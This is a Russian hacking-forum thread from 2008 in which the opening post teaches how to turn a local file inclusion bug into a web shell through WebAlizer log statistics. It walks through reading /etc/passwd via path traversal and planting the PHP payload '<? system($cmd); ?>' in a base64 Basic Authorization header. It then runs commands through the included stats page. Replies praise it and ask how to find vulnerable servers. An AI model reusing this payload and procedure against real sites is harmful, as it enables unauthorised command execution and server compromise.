Авторские статьи WebAlizer в помошь при Local Include

Discussion in 'Статьи' started by slesh, 29 May 2008.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    WebAlizer в помошь при Local Include
    Часто бывает что ри нахождении уязвимости типа Local Include нет возможности закачать шелл т.е.

    1) Нет форумови скриптов которые сохраняют файлы
    2) Не найдены логи апача или иные места возможного залива шела или к ним нет доступа


    Прорыв обороны может быть осуществлен через сервис WebAlizer.

    Суть сервиса - ежедневно создавать статистику работы веб сервера анализируя его логи.
    Ход действий:
    1. Берем подопытный сайт с local include
    Также необходимо присутствие там сервиса WebAlizer
    2. Узнаем путь к папке WebAlizer'a
    Для этого просто смотрим файл /etc/passwd
    находим там юзверя с именем webalizer и смотрим его домашнюю папку.
    3. Смотрим статистику WebAlizer'a
    Осуществляем это всё через всё тотже Local Include
    типа script.php?file=../../../../../../../../../../домашняя_папка_WebAlizer'a/index.html
    От туда берем ссылку на статистику последнего месяца. А именно имя файла. ЧТото типа такого:usage_200804.html
    4. Выбираем место для шела
    Чаще всего подходящим местом бывает имя пользователя, потому что редко встречается и довольно легко попадает в таблицу статистики.
    5. Заливка шела
    Браузер не даст нам просто так закинуть шел в имеи пользователя, по этому сделаешь запрос в ручную.
    Который потом отошлем через телнет или Ip-Tools. Промежуточный шелл будет у нас таким:
    Code:
    <? system($cmd); ?>
    
    Для возможности заливки необходимо составить запрос авториации примерно такого вида:
    GET / HTTP/1.1
    Host: site.com
    Authorization: Basic PD8gc3lzdGVtKCRjbWQpOyA/Pjo=

    Эта строка представляет собой текст base64('<? system($cmd); ?>: ');
    Обратити внимание на то, что в конце обязательно должно стоять двоеточие и пробел. (\\В видео есть ошибка в этом месте\\)
    После отправки данного запроса необходимо подождать около суток, чтобы WebAlizer провел анализ логов апача
    6. Непосредственно выполнение шела
    После анализа логов будет обновлен файл статистики текущего месяца в котором будет уже наш шелл который мы выполним так:site.com/scritp.php?file=../../../../../../../../домашняя_папка_WebAlizer'a/usage_200804.html&cmd=ls

    Остальное дело уже простое и банальное. ;)

    Скачать демонстрационное видео можно тут: http://oasis.xost.ru/final.rar
     
    6 people like this.
  2. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    опиши как найти через гугл сервак с установленным сие чудом а так статейка понравилась поставил плюсеГ
     
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 satana8920 Это просто один из методов. В последнее время всё чаще и чаще стал встречаться WebAlizer. Это всеголишь один из многочисленных способов заливки шелла.
     
    2 people like this.
  4. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    это статья? еще пару строчек в дополнение к первому посту темы http://forum.antichat.ru/thread49775.html
     
    _________________________
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 c411k Это всеголишь один из вариантов того, что можно использовать при Local Include, но в отличии от других - этот более своеобразен, чем просто обычная запись в логи
     
  6. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Черт! Никак не могу найти топик на ачате, где написаны разнообразные пути к логам апача и другим подобным сервисам?
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    o_O ну так вот он же http://forum.antichat.ru/thread49775.html
     
    2 people like this.
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Молодец хорошее оформление.
    Но логи они есть логи есть очень много систем логирования в которых можно записать шелл гараздо сложнее.